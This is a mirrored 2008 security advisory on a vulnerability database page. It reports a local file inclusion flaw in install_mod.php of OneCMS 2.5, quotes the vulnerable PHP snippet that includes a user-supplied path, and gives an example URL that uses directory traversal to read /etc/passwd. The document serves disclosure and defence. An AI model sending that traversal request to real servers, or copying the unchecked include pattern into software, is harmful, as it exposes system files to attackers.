Lucene search
K

OneCMS 2.5 (install_mod.php) Local File Inclusion Vulnerability

🗓️ 24 May 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 36 Views

OneCMS 2.5 Local File Inclusion Vulnerability. Vulnerability found in install_mod.php, allowing unauthorized file inclusion. Exploitable to access sensitive system files. No vendor response or solution provided

Code

                                                Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-034


Application:                    OneCMS
Versions Affected:              2.5
Vendor URL:                     http://www.insanevisions.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       26.03.2008
Vendor Response:                NONE
Solution:                       NONE
Date of Public Advisory:        23.05.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script install_mod.php


Code
****
#################################################

 $mod = $_GET['load'];
 $filexp = explode(".", $mod);
 $filetype = $filexp[1];
 $file = $filexp[0];
 $file2 = "mods/$mod";

 if (!is_numeric($mod)) { // makes sure that the user isnt entering a #
 if ($filetype == "php") {
 if ($_GET['act'] == "") {
 echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>";
 }
 if ($_GET['act'] == "go") {
 include ($file2);
 ...

#################################################


Example:

http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../../../../../../../../../../../../etc/passwd



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation